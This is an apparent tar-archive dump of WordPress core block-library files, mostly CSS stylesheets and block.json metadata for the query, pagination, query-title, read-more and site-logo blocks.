0; } } @keyframes wp-block-query__enhanced-pagination-finish-animation{ 0%{ opacity:1; } 50%{ opacity:1; } to{ opacity:0; } }blocks/query/style.css000064400000001632151202620300011031 0ustar00.wp-block-query__enhanced-pagination-animation{ background-color:var(--wp--preset--color--primary, #000); height:4px; left:0; margin:0; max-width:100vw !important; opacity:0; padding:0; position:fixed; top:0; width:100vw; } .wp-block-query__enhanced-pagination-animation.start-animation{ animation:wp-block-query__enhanced-pagination-start-animation 30s cubic-bezier(.03, .5, 0, 1) forwards; } .wp-block-query__enhanced-pagination-animation.finish-animation{ animation:wp-block-query__enhanced-pagination-finish-animation .3s ease-in; } @keyframes wp-block-query__enhanced-pagination-start-animation{ 0%{ opacity:1; transform:scaleX(0); transform-origin:0 0; } to{ opacity:1; transform:scaleX(1); transform-origin:0 0; } } @keyframes wp-block-query__enhanced-pagination-finish-animation{ 0%{ opacity:1; } 50%{ opacity:1; } to{ opacity:0; } }blocks/query/index.php000064400000161725151202620300011011 0ustar00blocks/query-no-results/block.json000064400000001515151202620300013255 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/query-no-results", "title": "No results", "category": "theme", "description": "Contains the block elements used to render content when no query results are found.", "parent": [ "core/query" ], "textdomain": "default", "usesContext": [ "queryId", "query" ], "supports": { "align": true, "reusable": false, "html": false, "color": { "gradients": true, "link": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } } } blocks/query-pagination/editor.min.css000064400000001243151202620300014066 0ustar00.wp-block[data-align=center]>.wp-block-query-pagination{justify-content:center}.editor-styles-wrapper .wp-block-query-pagination{max-width:100%}.editor-styles-wrapper .wp-block-query-pagination.block-editor-block-list__layout{margin:0}.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{margin:.5em .5em .5em 0}.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{margin-right:0}blocks/query-pagination/style-rtl.min.css000064400000002365151202620300014545 0ustar00.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{margin-bottom:.5em;margin-right:.5em}.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{margin-right:0}.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-next:last-of-type{-webkit-margin-start:auto;margin-inline-start:auto}.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-previous:first-child{-webkit-margin-end:auto;margin-inline-end:auto}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow{display:inline-block;margin-left:1ch}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-query-pagination .wp-block-query-pagination-next-arrow{display:inline-block;margin-right:1ch}.wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-query-pagination.aligncenter{justify-content:center}blocks/query-pagination/block.json000064400000002565151202620300013301 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/query-pagination", "title": "Pagination", "category": "theme", "parent": [ "core/query" ], "description": "Displays a paginated navigation to next/previous set of posts, when applicable.", "textdomain": "default", "attributes": { "paginationArrow": { "type": "string", "default": "none" }, "showLabel": { "type": "boolean", "default": true } }, "usesContext": [ "queryId", "query" ], "providesContext": { "paginationArrow": "paginationArrow", "showLabel": "showLabel" }, "supports": { "align": true, "reusable": false, "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "layout": { "allowSwitching": false, "allowInheriting": false, "default": { "type": "flex" } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } }, "editorStyle": "wp-block-query-pagination-editor", "style": "wp-block-query-pagination" } blocks/query-pagination/editor.css000064400000001302151202620300013300 0ustar00.wp-block[data-align=center]>.wp-block-query-pagination{ justify-content:center; } .editor-styles-wrapper .wp-block-query-pagination{ max-width:100%; } .editor-styles-wrapper .wp-block-query-pagination.block-editor-block-list__layout{ margin:0; } .wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{ margin:.5em .5em .5em 0; } .wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{ margin-right:0; }blocks/query-pagination/style.min.css000064400000002363151202620300013744 0ustar00.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{margin-bottom:.5em;margin-right:.5em}.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{margin-right:0}.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-next:last-of-type{-webkit-margin-start:auto;margin-inline-start:auto}.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-previous:first-child{-webkit-margin-end:auto;margin-inline-end:auto}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow{display:inline-block;margin-right:1ch}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-query-pagination .wp-block-query-pagination-next-arrow{display:inline-block;margin-left:1ch}.wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-query-pagination.aligncenter{justify-content:center}blocks/query-pagination/editor-rtl.css000064400000001345151202620300014106 0ustar00.wp-block[data-align=center]>.wp-block-query-pagination{ justify-content:center; } .editor-styles-wrapper .wp-block-query-pagination{ max-width:100%; } .editor-styles-wrapper .wp-block-query-pagination.block-editor-block-list__layout{ margin:0; } .wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{ margin-bottom:.5em; margin-right:.5em; margin-top:.5em; } .wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{ margin-right:0; }blocks/query-pagination/editor-rtl.min.css000064400000001300151202620300014657 0ustar00.wp-block[data-align=center]>.wp-block-query-pagination{justify-content:center}.editor-styles-wrapper .wp-block-query-pagination{max-width:100%}.editor-styles-wrapper .wp-block-query-pagination.block-editor-block-list__layout{margin:0}.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{margin-bottom:.5em;margin-right:.5em;margin-top:.5em}.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{margin-right:0}blocks/query-pagination/style-rtl.css000064400000002513151202620300013756 0ustar00.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{ margin-bottom:.5em; margin-right:.5em; } .wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{ margin-right:0; } .wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-next:last-of-type{ -webkit-margin-start:auto; margin-inline-start:auto; } .wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-previous:first-child{ -webkit-margin-end:auto; margin-inline-end:auto; } .wp-block-query-pagination .wp-block-query-pagination-previous-arrow{ display:inline-block; margin-left:1ch; } .wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron){ transform:scaleX(-1);; } .wp-block-query-pagination .wp-block-query-pagination-next-arrow{ display:inline-block; margin-right:1ch; } .wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron){ transform:scaleX(-1);; } .wp-block-query-pagination.aligncenter{ justify-content:center; }blocks/query-pagination/style.css000064400000002507151202620300013162 0ustar00.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{ margin-bottom:.5em; margin-right:.5em; } .wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{ margin-right:0; } .wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-next:last-of-type{ -webkit-margin-start:auto; margin-inline-start:auto; } .wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-previous:first-child{ -webkit-margin-end:auto; margin-inline-end:auto; } .wp-block-query-pagination .wp-block-query-pagination-previous-arrow{ display:inline-block; margin-right:1ch; } .wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron){ transform:scaleX(1); } .wp-block-query-pagination .wp-block-query-pagination-next-arrow{ display:inline-block; margin-left:1ch; } .wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron){ transform:scaleX(1); } .wp-block-query-pagination.aligncenter{ justify-content:center; }blocks/query-pagination-next/block.json000064400000001731151202620300014247 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/query-pagination-next", "title": "Next Page", "category": "theme", "parent": [ "core/query-pagination" ], "description": "Displays the next posts page link.", "textdomain": "default", "attributes": { "label": { "type": "string" } }, "usesContext": [ "queryId", "query", "paginationArrow", "showLabel", "enhancedPagination" ], "supports": { "reusable": false, "html": false, "color": { "gradients": true, "text": false, "__experimentalDefaultControls": { "background": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } } } blocks/query-pagination-numbers/editor.min.css000064400000000314151202620300015535 0ustar00.wp-block-query-pagination-numbers a{text-decoration:underline}.wp-block-query-pagination-numbers .page-numbers{margin-right:2px}.wp-block-query-pagination-numbers .page-numbers:last-child{margin-right:0}blocks/query-pagination-numbers/block.json000064400000002017151202620300014742 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/query-pagination-numbers", "title": "Page Numbers", "category": "theme", "parent": [ "core/query-pagination" ], "description": "Displays a list of page numbers for pagination", "textdomain": "default", "attributes": { "midSize": { "type": "number", "default": 2 } }, "usesContext": [ "queryId", "query", "enhancedPagination" ], "supports": { "reusable": false, "html": false, "color": { "gradients": true, "text": false, "__experimentalDefaultControls": { "background": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } }, "editorStyle": "wp-block-query-pagination-numbers-editor" } blocks/query-pagination-numbers/editor.css000064400000000335151202620300014756 0ustar00.wp-block-query-pagination-numbers a{ text-decoration:underline; } .wp-block-query-pagination-numbers .page-numbers{ margin-right:2px; } .wp-block-query-pagination-numbers .page-numbers:last-child{ margin-right:0; }blocks/query-pagination-numbers/editor-rtl.css000064400000000334151202620300015554 0ustar00.wp-block-query-pagination-numbers a{ text-decoration:underline; } .wp-block-query-pagination-numbers .page-numbers{ margin-left:2px; } .wp-block-query-pagination-numbers .page-numbers:last-child{ margin-right:0; }blocks/query-pagination-numbers/editor-rtl.min.css000064400000000313151202620300016333 0ustar00.wp-block-query-pagination-numbers a{text-decoration:underline}.wp-block-query-pagination-numbers .page-numbers{margin-left:2px}.wp-block-query-pagination-numbers .page-numbers:last-child{margin-right:0}blocks/query-pagination-previous/block.json000064400000001745151202620300015152 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/query-pagination-previous", "title": "Previous Page", "category": "theme", "parent": [ "core/query-pagination" ], "description": "Displays the previous posts page link.", "textdomain": "default", "attributes": { "label": { "type": "string" } }, "usesContext": [ "queryId", "query", "paginationArrow", "showLabel", "enhancedPagination" ], "supports": { "reusable": false, "html": false, "color": { "gradients": true, "text": false, "__experimentalDefaultControls": { "background": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } } } blocks/query-title/style-rtl.min.css000064400000000054151202620300013526 0ustar00.wp-block-query-title{box-sizing:border-box}blocks/query-title/block.json000064400000002267151202620300012270 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/query-title", "title": "Query Title", "category": "theme", "description": "Display the query title.", "textdomain": "default", "attributes": { "type": { "type": "string" }, "textAlign": { "type": "string" }, "level": { "type": "number", "default": 1 }, "showPrefix": { "type": "boolean", "default": true }, "showSearchTerm": { "type": "boolean", "default": true } }, "supports": { "align": [ "wide", "full" ], "html": false, "color": { "gradients": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalDefaultControls": { "fontSize": true, "fontAppearance": true, "textTransform": true } } }, "style": "wp-block-query-title" } blocks/query-title/style.min.css000064400000000054151202620300012727 0ustar00.wp-block-query-title{box-sizing:border-box}blocks/query-title/style-rtl.css000064400000000061151202620300012742 0ustar00.wp-block-query-title{ box-sizing:border-box; }blocks/query-title/style.css000064400000000061151202620300012143 0ustar00.wp-block-query-title{ box-sizing:border-box; }blocks/read-more/style-rtl.min.css000064400000000403151202620300013113 0ustar00.wp-block-read-more{display:block;width:-moz-fit-content;width:fit-content}.wp-block-read-more:not([style*=text-decoration]),.wp-block-read-more:not([style*=text-decoration]):active,.wp-block-read-more:not([style*=text-decoration]):focus{text-decoration:none}blocks/read-more/block.json000064400000002272151202620300011653 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/read-more", "title": "Read More", "category": "theme", "description": "Displays the link of a post, page, or any other content-type.", "textdomain": "default", "attributes": { "content": { "type": "string" }, "linkTarget": { "type": "string", "default": "_self" } }, "usesContext": [ "postId" ], "supports": { "html": false, "color": { "gradients": true, "text": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalLetterSpacing": true, "__experimentalTextDecoration": true, "__experimentalDefaultControls": { "fontSize": true, "textDecoration": true } }, "spacing": { "margin": [ "top", "bottom" ], "padding": true, "__experimentalDefaultControls": { "padding": true } }, "__experimentalBorder": { "color": true, "radius": true, "width": true, "__experimentalDefaultControls": { "width": true } } }, "style": "wp-block-read-more" } blocks/read-more/style.min.css000064400000000403151202620300012314 0ustar00.wp-block-read-more{display:block;width:-moz-fit-content;width:fit-content}.wp-block-read-more:not([style*=text-decoration]),.wp-block-read-more:not([style*=text-decoration]):active,.wp-block-read-more:not([style*=text-decoration]):focus{text-decoration:none}blocks/read-more/style-rtl.css000064400000000424151202620300012334 0ustar00.wp-block-read-more{ display:block; width:-moz-fit-content; width:fit-content; } .wp-block-read-more:not([style*=text-decoration]),.wp-block-read-more:not([style*=text-decoration]):active,.wp-block-read-more:not([style*=text-decoration]):focus{ text-decoration:none; }blocks/read-more/style.css000064400000000424151202620300011535 0ustar00.wp-block-read-more{ display:block; width:-moz-fit-content; width:fit-content; } .wp-block-read-more:not([style*=text-decoration]),.wp-block-read-more:not([style*=text-decoration]):active,.wp-block-read-more:not([style*=text-decoration]):focus{ text-decoration:none; }blocks/read-more/index.php000064400000000000151202620300011471 0ustar00blocks/site-logo/editor.min.css000064400000006113151202620300012475 0ustar00.wp-block-site-logo.aligncenter>div,.wp-block[data-align=center]>.wp-block-site-logo{display:table;margin-left:auto;margin-right:auto}.wp-block-site-logo a{pointer-events:none}.wp-block-site-logo .custom-logo-link{cursor:inherit}.wp-block-site-logo .custom-logo-link:focus{box-shadow:none}.wp-block-site-logo .custom-logo-link.is-transient img{opacity:.3}.wp-block-site-logo img{display:block;height:auto;max-width:100%}.wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder{height:60px;width:60px}.wp-block-site-logo.wp-block-site-logo .components-resizable-box__container,.wp-block-site-logo.wp-block-site-logo>div{border-radius:inherit}.wp-block-site-logo.wp-block-site-logo .components-placeholder{align-items:center;border-radius:inherit;display:flex;height:100%;justify-content:center;min-height:48px;min-width:48px;padding:0;width:100%}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text,.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload{display:none}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button{align-items:center;background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);border-radius:50%;border-style:solid;color:#fff;display:flex;height:48px;justify-content:center;padding:0;position:relative;width:48px}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button>svg{color:inherit}.block-library-site-logo__inspector-upload-container{position:relative}.block-library-site-logo__inspector-upload-container .components-drop-zone__content-icon{display:none}.block-library-site-logo__inspector-media-replace-container button.components-button,.block-library-site-logo__inspector-upload-container button.components-button{box-shadow:inset 0 0 0 1px #ccc;color:#1e1e1e;display:block;height:40px;width:100%}.block-library-site-logo__inspector-media-replace-container button.components-button:hover,.block-library-site-logo__inspector-upload-container button.components-button:hover{color:var(--wp-admin-theme-color)}.block-library-site-logo__inspector-media-replace-container button.components-button:focus,.block-library-site-logo__inspector-upload-container button.components-button:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-media-replace-title,.block-library-site-logo__inspector-upload-container .block-library-site-logo__inspector-media-replace-title{text-align:start;text-align-last:center;white-space:normal;word-break:break-all}.block-library-site-logo__inspector-media-replace-container .components-dropdown{display:block}.block-library-site-logo__inspector-media-replace-container img{aspect-ratio:1;border-radius:50%!important;box-shadow:inset 0 0 0 1px rgba(0,0,0,.2);min-width:20px;width:20px}.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-readonly-logo-preview{display:flex;height:40px;padding:6px 12px}blocks/site-logo/style-rtl.min.css000064400000000667151202620300013156 0ustar00.wp-block-site-logo{box-sizing:border-box;line-height:0}.wp-block-site-logo a{display:inline-block;line-height:0}.wp-block-site-logo.is-default-size img{height:auto;width:120px}.wp-block-site-logo img{height:auto;max-width:100%}.wp-block-site-logo a,.wp-block-site-logo img{border-radius:inherit}.wp-block-site-logo.aligncenter{margin-left:auto;margin-right:auto;text-align:center}.wp-block-site-logo.is-style-rounded{border-radius:9999px}blocks/site-logo/block.json000064400000002357151202620300011706 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/site-logo", "title": "Site Logo", "category": "theme", "description": "Display an image to represent this site. Update this block and the changes apply everywhere.", "textdomain": "default", "attributes": { "width": { "type": "number" }, "isLink": { "type": "boolean", "default": true }, "linkTarget": { "type": "string", "default": "_self" }, "shouldSyncIcon": { "type": "boolean" } }, "example": { "viewportWidth": 500, "attributes": { "width": 350, "className": "block-editor-block-types-list__site-logo-example" } }, "supports": { "html": false, "align": true, "alignWide": false, "color": { "__experimentalDuotone": "img, .components-placeholder__illustration, .components-placeholder::before", "text": false, "background": false }, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } } }, "styles": [ { "name": "default", "label": "Default", "isDefault": true }, { "name": "rounded", "label": "Rounded" } ], "editorStyle": "wp-block-site-logo-editor", "style": "wp-block-site-logo" } blocks/site-logo/editor.css000064400000006475151202620300011726 0ustar00.wp-block-site-logo.aligncenter>div,.wp-block[data-align=center]>.wp-block-site-logo{ display:table; margin-left:auto; margin-right:auto; } .wp-block-site-logo a{ pointer-events:none; } .wp-block-site-logo .custom-logo-link{ cursor:inherit; } .wp-block-site-logo .custom-logo-link:focus{ box-shadow:none; } .wp-block-site-logo .custom-logo-link.is-transient img{ opacity:.3; } .wp-block-site-logo img{ display:block; height:auto; max-width:100%; } .wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder{ height:60px; width:60px; } .wp-block-site-logo.wp-block-site-logo .components-resizable-box__container,.wp-block-site-logo.wp-block-site-logo>div{ border-radius:inherit; } .wp-block-site-logo.wp-block-site-logo .components-placeholder{ align-items:center; border-radius:inherit; display:flex; height:100%; justify-content:center; min-height:48px; min-width:48px; padding:0; width:100%; } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text,.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload{ display:none; } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button{ align-items:center; background:var(--wp-admin-theme-color); border-color:var(--wp-admin-theme-color); border-radius:50%; border-style:solid; color:#fff; display:flex; height:48px; justify-content:center; padding:0; position:relative; width:48px; } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button>svg{ color:inherit; } .block-library-site-logo__inspector-upload-container{ position:relative; } .block-library-site-logo__inspector-upload-container .components-drop-zone__content-icon{ display:none; } .block-library-site-logo__inspector-media-replace-container button.components-button,.block-library-site-logo__inspector-upload-container button.components-button{ box-shadow:inset 0 0 0 1px #ccc; color:#1e1e1e; display:block; height:40px; width:100%; } .block-library-site-logo__inspector-media-replace-container button.components-button:hover,.block-library-site-logo__inspector-upload-container button.components-button:hover{ color:var(--wp-admin-theme-color); } .block-library-site-logo__inspector-media-replace-container button.components-button:focus,.block-library-site-logo__inspector-upload-container button.components-button:focus{ box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-media-replace-title,.block-library-site-logo__inspector-upload-container .block-library-site-logo__inspector-media-replace-title{ text-align:start; text-align-last:center; white-space:normal; word-break:break-all; } .block-library-site-logo__inspector-media-replace-container .components-dropdown{ display:block; } .block-library-site-logo__inspector-media-replace-container img{ aspect-ratio:1; border-radius:50% !important; box-shadow:inset 0 0 0 1px rgba(0,0,0,.2); min-width:20px; width:20px; } .block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-readonly-logo-preview{ display:flex; height:40px; padding:6px 12px; }blocks/site-logo/style.min.css000064400000000667151202620300012357 0ustar00.wp-block-site-logo{box-sizing:border-box;line-height:0}.wp-block-site-logo a{display:inline-block;line-height:0}.wp-block-site-logo.is-default-size img{height:auto;width:120px}.wp-block-site-logo img{height:auto;max-width:100%}.wp-block-site-logo a,.wp-block-site-logo img{border-radius:inherit}.wp-block-site-logo.aligncenter{margin-left:auto;margin-right:auto;text-align:center}.wp-block-site-logo.is-style-rounded{border-radius:9999px}blocks/site-logo/editor-rtl.css000064400000006475151202620300012525 0ustar00.wp-block-site-logo.aligncenter>div,.wp-block[data-align=center]>.wp-block-site-logo{ display:table; margin-left:auto; margin-right:auto; } .wp-block-site-logo a{ pointer-events:none; } .wp-block-site-logo .custom-logo-link{ cursor:inherit; } .wp-block-site-logo .custom-logo-link:focus{ box-shadow:none; } .wp-block-site-logo .custom-logo-link.is-transient img{ opacity:.3; } .wp-block-site-logo img{ display:block; height:auto; max-width:100%; } .wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder{ height:60px; width:60px; } .wp-block-site-logo.wp-block-site-logo .components-resizable-box__container,.wp-block-site-logo.wp-block-site-logo>div{ border-radius:inherit; } .wp-block-site-logo.wp-block-site-logo .components-placeholder{ align-items:center; border-radius:inherit; display:flex; height:100%; justify-content:center; min-height:48px; min-width:48px; padding:0; width:100%; } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text,.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload{ display:none; } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button{ align-items:center; background:var(--wp-admin-theme-color); border-color:var(--wp-admin-theme-color); border-radius:50%; border-style:solid; color:#fff; display:flex; height:48px; justify-content:center; padding:0; position:relative; width:48px; } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button>svg{ color:inherit; } .block-library-site-logo__inspector-upload-container{ position:relative; } .block-library-site-logo__inspector-upload-container .components-drop-zone__content-icon{ display:none; } .block-library-site-logo__inspector-media-replace-container button.components-button,.block-library-site-logo__inspector-upload-container button.components-button{ box-shadow:inset 0 0 0 1px #ccc; color:#1e1e1e; display:block; height:40px; width:100%; } .block-library-site-logo__inspector-media-replace-container button.components-button:hover,.block-library-site-logo__inspector-upload-container button.components-button:hover{ color:var(--wp-admin-theme-color); } .block-library-site-logo__inspector-media-replace-container button.components-button:focus,.block-library-site-logo__inspector-upload-container button.components-button:focus{ box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-media-replace-title,.block-library-site-logo__inspector-upload-container .block-library-site-logo__inspector-media-replace-title{ text-align:start; text-align-last:center; white-space:normal; word-break:break-all; } .block-library-site-logo__inspector-media-replace-container .components-dropdown{ display:block; } .block-library-site-logo__inspector-media-replace-container img{ aspect-ratio:1; border-radius:50% !important; box-shadow:inset 0 0 0 1px rgba(0,0,0,.2); min-width:20px; width:20px; } .block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-readonly-logo-preview{ display:flex; height:40px; padding:6px 12px; }blocks/site-logo/editor-rtl.min.css000064400000006113151202620300013274 0ustar00.wp-block-site-logo.aligncenter>div,.wp-block[data-align=center]>.wp-block-site-logo{display:table;margin-left:auto;margin-right:auto}.wp-block-site-logo a{pointer-events:none}.wp-block-site-logo .custom-logo-link{cursor:inherit}.wp-block-site-logo .custom-logo-link:focus{box-shadow:none}.wp-block-site-logo .custom-logo-link.is-transient img{opacity:.3}.wp-block-site-logo img{display:block;height:auto;max-width:100%}.wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder{height:60px;width:60px}.wp-block-site-logo.wp-block-site-logo .components-resizable-box__container,.wp-block-site-logo.wp-block-site-logo>div{border-radius:inherit}.wp-block-site-logo.wp-block-site-logo .components-placeholder{align-items:center;border-radius:inherit;display:flex;height:100%;justify-content:center;min-height:48px;min-width:48px;padding:0;width:100%}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text,.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload{display:none}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button{align-items:center;background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);border-radius:50%;border-style:solid;color:#fff;display:flex;height:48px;justify-content:center;padding:0;position:relative;width:48px}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button>svg{color:inherit}.block-library-site-logo__inspector-upload-container{position:relative}.block-library-site-logo__inspector-upload-container .components-drop-zone__content-icon{display:none}.block-library-site-logo__inspector-media-replace-container button.components-button,.block-library-site-logo__inspector-upload-container button.components-button{box-shadow:inset 0 0 0 1px #ccc;color:#1e1e1e;display:block;height:40px;width:100%}.block-library-site-logo__inspector-media-replace-container button.components-button:hover,.block-library-site-logo__inspector-upload-container button.components-button:hover{color:var(--wp-admin-theme-color)}.block-library-site-logo__inspector-media-replace-container button.components-button:focus,.block-library-site-logo__inspector-upload-container button.components-button:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-media-replace-title,.block-library-site-logo__inspector-upload-container .block-library-site-logo__inspector-media-replace-title{text-align:start;text-align-last:center;white-space:normal;word-break:break-all}.block-library-site-logo__inspector-media-replace-container .components-dropdown{display:block}.block-library-site-logo__inspector-media-replace-container img{aspect-ratio:1;border-radius:50%!important;box-shadow:inset 0 0 0 1px rgba(0,0,0,.2);min-width:20px;width:20px}.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-readonly-logo-preview{display:flex;height:40px;padding:6px 12px}blocks/site-logo/style-rtl.css000064400000000762151202620300012370 0ustar00.wp-block-site-logo{ box-sizing:border-box; line-height:0; } .wp-block-site-logo a{ display:inline-block; line-height:0; } .wp-block-site-logo.is-default-size img{ height:auto; width:120px; } .wp-block-site-logo img{ height:auto; max-width:100%; } 